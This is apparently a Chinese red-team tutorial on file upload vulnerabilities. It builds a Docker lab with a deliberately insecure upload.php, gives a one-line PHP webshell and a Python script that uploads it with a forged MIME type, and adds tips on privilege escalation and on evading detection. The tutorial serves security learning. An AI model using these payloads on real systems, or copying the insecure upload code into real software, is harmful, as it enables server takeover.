0x01 文件上传漏洞的本质
文件上传漏洞,是指在应用系统中允许用户上传文件的功能未严格验证上传文件的类型或内容,导致攻击者可以上传恶意文件,并最终执行或利用该文件达到入侵目的。这一漏洞通常存在于企业网站后台、内容管理系统(CMS)、文件共享平台等场景中。

使用文件上传漏洞进行攻击,本质上是在利用目标服务器对文件的处理逻辑:上传文件后,服务器可能会直接存储、解析或执行文件内容。如果我们能够绕过服务器的检查机制,就可以上传任意恶意文件,比如 WebShell 用于远程控制,或者工具类文件用于进一步渗透。

常见的漏洞成因
1. 文件扩展名验证不严格:仅检查文件扩展名,而不检查文件真实内容。例如,仅判断是否是 .jpg 或 .png,却允许攻击者伪造扩展名。

2. MIME类型验证绕过:依赖 MIME 类型验证,而攻击者可以通过修改请求头中的 Content-Type 来绕过。
3. 文件上传路径泄露:上传后的文件路径可以被用户直接访问,导致文件可在浏览器中直接触发。

4. 未拦截恶意代码:上传的文件内容可能包含恶意代码,例如 PHP 文件被上传并执行。
5. 文件上传目录权限配置错误:目录允许执行脚本导致恶意文件可直接运行。
通过对文件上传漏洞的渗透,攻击者可以进一步实现远程控制、数据窃取和权限升级,甚至作为核心攻击链的一部分,配合其他漏洞完成更复杂的入侵。
---
0x02 搭建靶场环境让漏洞还原
在了解了文件上传漏洞的基本原理后,下一步是搭建一个真实的测试环境,以便验证攻击思路。以下是一个快速搭建靶场的方法:
环境搭建流程
我们将使用 Docker 构建一个包含文件上传漏洞的应用环境,基于 Apache + PHP 的组合搭建。以下为具体步骤:
- 安装 Docker:确保你的系统中已经安装好 Docker 和 Docker Compose。
- 在 Linux 系统中运行:
<pre><code class="language-bash"> sudo apt-get update && sudo apt-get install docker docker-compose -y `
- 创建测试目录:
新建一个目录并进入其中: `bash mkdir upload-vuln && cd upload-vuln `
- 编写 Dockerfile:
创建 Dockerfile 文件,并写入以下内容: `dockerfile FROM php:7.4-apache COPY ./src/ /var/www/html/ `
- 编写漏洞页面:
在 src/ 目录下创建 upload.php 文件,其内容如下(存在文件上传漏洞的示例代码): `php <?php if (isset($_FILES['file'])) { $uploadDir = 'uploads/'; $fileName = $_FILES['file']['name']; $filePath = $uploadDir . $fileName;
// 将文件保存到uploads目录 move_uploaded_file($_FILES['file']['tmp_name'], $filePath);
echo "File uploaded: " . $fileName; echo "<br>Path: " . $filePath; } ?> <form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit">Upload</button> </form> `
- 启动环境:
使用 Docker 将环境启动: `bash docker build -t upload-vuln . docker run -d -p 8080:80 upload-vuln `
- 验证漏洞环境:
在浏览器中访问 http://localhost:8080/upload.php,确认可以上传文件。
至此,靶场环境已经搭建完成,我们可以开始针对这一漏洞进行实战测试。
---
0x03 构造恶意Payload触发漏洞
攻击文件上传漏洞的核心在于设计能够绕过验证的恶意Payload文件。以下是几个常见的绕过方法:
绕过扩展名验证
很多系统只检查文件扩展名是否为白名单中的类型,比如 .jpg 或 .png。我们可以通过简单的修改扩展名来绕过:
1. 上传伪造文件: 创建一个包含 WebShell 的 PHP 文件,命名为 shell.php.jpg:</code></pre>php <?php if (isset($_GET['cmd'])) { system($_GET['cmd']); } ?> <pre><code>
绕过MIME类型验证
某些服务器会验证上传文件的 MIME 类型是否为图片格式,可以使用工具修改 MIME 类型。以下为 Python 示例代码:</code></pre>python import requests
url = "http://localhost:8080/upload.php" files = { "file": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg") } response = requests.post(url, files=files) print(response.text) `
---
0x04 权限提升与进一步控制
成功上传 WebShell 后,攻击者可以通过 WebShell 执行命令并进一步扩展攻击范围。以下是利用 WebShell进行权限提升和横向移动的流程:
WebShell命令执行
访问上传后的 WebShell 文件,例如 http://localhost:8080/uploads/shell.php?cmd=id,确认能够通过参数执行系统命令。
权限提升
上传一个包含提权工具的文件,例如 Linux 系统中的 LinPEAS.sh,通过 WebShell 执行该文件,搜集详细的权限漏洞信息。
---
0x05 个人渗透经验总结
作为红队人员,渗透实践过程中需要注意以下几点:
- 在利用文件上传漏洞时,尽量选择轻量级Payload,不要上传过于复杂的文件,以免被安全系统检测。
- 对于文件路径的猜测,可以通过抓包分析或目录爆破完成,推荐工具:Dirbuster。
- 遇到无法直接通过WebShell执行命令时,可以尝试通过文件包含漏洞联合利用。
- 绕过验证时,通常需要联合多个方式,扩展名绕过和MIME类型伪造是最经典的组合。
文件上传漏洞看似简单,但在实际渗透中却是打开整个攻击链的大门——其应用场景广泛,攻击成本低,只需要一次成功的上传,便可奠定整个内网渗透的基础。